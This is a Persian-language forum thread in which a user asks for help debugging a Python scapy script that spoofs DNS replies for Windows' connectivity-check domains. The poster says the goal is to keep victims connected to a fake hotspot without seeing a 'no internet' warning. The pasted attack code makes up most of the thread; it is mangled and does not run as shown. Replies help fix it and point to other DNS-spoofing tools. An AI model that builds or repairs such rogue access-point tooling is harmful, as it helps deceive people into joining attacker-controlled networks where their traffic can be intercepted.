مشکل IndentationError: expected an indented fix
-
سلام و عرض ادب
من در اجرای این اسکریپت مشکلی دارم و خطای زیر را دریافت میکنم
IndentationError: expected an indented fixبنظر مشکل از tab ها و فاصله ها هست
متاسفانه نتونستم اصلاحش کنم
ممنون میشم کمکم کنیدکد
from scapy.all import * DIR=os.path.dirname(os.path.abspath(__file__)) print('Executed from '+DIR+'\n') print('Assuming interface wlan0mon') def FakeAccess2(pkt): pkt=pkt[0] if pkt.haslayer(DNSQR): print('Packet with DNSQR layer found.') if pkt[DNS].qd.qtype == 1: print('DNSQR type appears type = A') if 'dns' in pkt[DNS].qd.qname and 'msftncsi' in pkt[DNS].qd.qname: #MUST RETURN TRUE VALUE! print('It appears captured DNS request requests dns.msftncsi.com') spoofed_pkt = Ether(dst=pkt[Ether].src, src=pkt[Ether].dst, type=pkt[Ether].type)/\ IP(dst=pkt[IP].src, src=pkt[IP].dst)/\ UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\ DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\ an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=64, rdata='131.107.255.255')) del pkt[IP].chksum del pkt[UDP].chksum # replace your Fake AP interface with 'wlan0mon' sendp(spoofed_pkt,iface='wlan0mon') print('Spoofed response send:') spoofed_pkt.show2() if 'www' in pkt[DNS].qd.qname and 'msftncsi' in pkt[DNS].qd.qname: #MUST POINT TO SERVER WITH connecttest.txt; ISTO NARED ZA IPV6 print('It appears captured DNS request requests www.msftconnecttest.com') spoofed_pkt = Ether(dst=pkt[Ether].src, src=pkt[Ether].dst, type=pkt[Ether].type)/\ IP(dst=pkt[IP].src, src=pkt[IP].dst)/\ UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\ DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\ # 192.168.1.254 mora bit GW nastiman za dhcp an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=64, rdata='192.168.1.254')) del pkt[IP].chksum del pkt[UDP].chksum sendp(spoofed_pkt,iface='wlan0mon') print('Spoofed response send:') spoofed_pkt.show2() else: print('Wrong DNS.qd.qname :'+pkt[DNS].qd.qname) if pkt[DNS].qd.qtype == 28: print('DNSQR type appears type = AAAA') if 'dns' in pkt[DNS].qd.qname and 'msftncsi' in pkt[DNS].qd.qname: #MUST RETURN TRUE VALUE print('AAAA DNS request for dns.msftncsi.com found, loop works') spoofed_pkt = Ether(dst=pkt[Ether].src, src=pkt[Ether].dst, type=pkt[Ether].type)/\ IP(dst=pkt[IP].src, src=pkt[IP].dst)/\ UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\ DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\ an=DNSRR(rrname=pkt[DNS].qd.qname, type=28, ttl=64, rdata='fd3e:4f5a:5b81::1')) del pkt[IP].chksum del pkt[UDP].chksum sendp(spoofed_pkt,iface='wlan0mon') print('Spoofed response send:') spoofed_pkt.show2() if 'dns' not in pkt[DNS].qd.qname and 'msftncsi' in pkt[DNS].qd.qname: #MUST RETURN TRUE VALUE print('AAAA DNS request for www.msftncsi.com found, loop works') spoofed_pkt = Ether(dst=pkt[Ether].src, src=pkt[Ether].dst, type=pkt[Ether].type)/\ IP(dst=pkt[IP].src, src=pkt[IP].dst)/\ UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport)/\ DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd,\ an=DNSRR(rrname=pkt[DNS].qd.qname, type=28, ttl=64, rdata='fe80::ea94:f6ff:fe24:d147')) #RDATA JE IPV6 OD wlan0mon del pkt[IP].chksum del pkt[UDP].chksum sendp(spoofed_pkt,iface='wlan0mon') print('Spoofed response send:') spoofed_pkt.show2() else: print('Captured packet has no DNSQR') print('Sniffing...') sniff(filter='dst port 53',prn=FakeAccess2, store=0, count=0, iface='wlan0mon')
-
با سلام و عرض ادب
خطای IndentationError خطای indent نداشتن هست و ربطی به تب و فاصله ندارد.
در یک یا چند بلوک شما ایندنت نکردید که مفسر پایتون به شما خطا داده است.
متوجه مشکل ایندنت در کد شما نشدم راستش اما به نظرم لاین 61 شاید باشه.یک بار دیگه کد رو ران کنید ببینید مفسر به چه خطی خطا میده و اون جا باید اون خط رو جلو ببرید و فاصله بدید بهش.
-
البته ممکن هم هست میکس تب و فاصله باشه.
اگر که مایل بودید فایل .py کد تون رو در سایت up.rashn.net آپلود کنید و بعد اطلاع بدید که چک کنم.
یا هم در ادیتوری مثل vs code یا atom ببینید میکس تب و فاصله دارید یا خیر. -
ممنونم از اینکه توجه کردید
متاسفانه توسعه دهنده اسکریپت در دسترس نیست وگرنه مزاحم شما نمیشدم
اسکریپت را در مسیر زیر آپلود کردم
https://up.rashn.net/uploads/34234420.ncsifix.py.txt
از سایت آنلاین کمک گرفتم و مشکل فاصله را حل کردم
در خط های 43 و 77 خطا دریافت کردم که بنظر میگفت نباید else داشته باشید من آن خط را حذف کردم و آن خطا رفه شد
اما در خط 8 خطا دریافت کردم
Traceback (most recent call last):
File “ncsifix.py”, line 8, in <module>
if pkt.haslayer(DNSQR):
NameError: name ‘pkt’ is not definedممنون میشم اسکریپت را تست کنید
لازمه اجرای اسکریپت داشتن لینوکس و نصب بسته scapy هست
راجع به اسکریپت
کار این اسکریپت جعل dns ویندوز هست
زمانی که تارگت در ویندوز خودش به اکسس پوینت جعلی (هات اسپات) ما متصل میشه، اگر ما دسترسی اینترنت به او ندهیم خطای no internect connetion در زیر کانکشن خود مشاهده میکنه
همین مورد باعث شک او میشه و از اکسس پوینت جدا میشه. خوب محقق اسکریپت، مسیری که باعث این خطا میشه را پیدا کرده و با استفاده از ابزار scapy قصد داره اون آدرس را جعل کنه.
لطف میکنید اسکریپت را از روی متن بررسی کنید -
سلام
ارور لاین ۸ مربوط به این هست که متغیر pkt تعریف نشده. این رو در ماژولی که ایمپورت کردید یک چک بکنید.
من فعلا دسترسی به سیستم برای تست ندارم اما حتما تست میکنم. -
سلام ممنونم، متاسفانه من در این زمینه دانش لازم را ندارم
-
پاسخ: مشکل IndentationError: expected an indented fix
سلام
https://up.rashn.net/uploads/109109703.ncsifix-.py.txt
یک سری تغییرات براتون اعمال کردم مثل این که بلوک else داشتید که چند خط کد بعد از if دیگه indent نداشتند و باعث مشکل می شد.اما خطای زیر رو که میده یعنی توی ماژول چنین چیزی من ندیدم تعریف شده باشه:
if pkt.haslayer(DNSQR): NameError: name 'pkt' is not defined
کمی داکیومنت های این ماژول رو خوندم اما متوجه نشدم که چرا داره خطا میده.
توی فروم های خارجی هم اگر می تونید بپرسید. چون من با این ماژول کار نکردم شاید راه حلش رو ندونم و کسی که کار کرده باشه اطلاع داشته باشه.
اگر که راه حلش رو پیدا کردم بهتون اطلاع میدم. شما هم لطفا اگر راهی پیدا کردید اطلاع بدید که ما هم مطلع بشیم.
-
ممنونم محبت کردید
من در فرم پایتون خارجی این مورد را پرسیدم و مشکل if را اطلاع دادندTo which if does the else on line 43 belong? Probably to the if in line 27. But this if ends on line 30 because “spoofed_pkt” is not indented anymore. So this else belongs to nothing.
https://python-forum.io/Thread-error-IndentationError-expected-an-indented-block
از چندتا از توسعه دهندگان چنین اسکریپتهایی هم سوال کردم اما هنوز پاسخ ندادنداما اسکریپتی پیدا کردم که داخلش چنین کدی استفاده شده بود
https://github.com/x4nth055/pythoncode-tutorials/blob/master/scapy/dns-spoof/dns_spoof.py
https://github.com/mpostument/hacking_tools/blob/master/dns_spoof/dns_spoof.pyممنون میشم نگاهی به این اسکریپتها بیندازید
-
سلام
نگاه کردم اما متوجهش نشدم راستش.
می تونید در سایت stackoverflow هم سوال رو بپرسید. و اگر هم مایل بودید لینک هم بدید من هم ببینم که مشکل چطور رفع میشه. -
سلام
ممنونم از اینکه زمان گذاشتید و توجه کردید
حتما روش فیکس شدنش را در انتهای تاپیک قرار میدم
بازم ممنونم و همیشه موفق باشید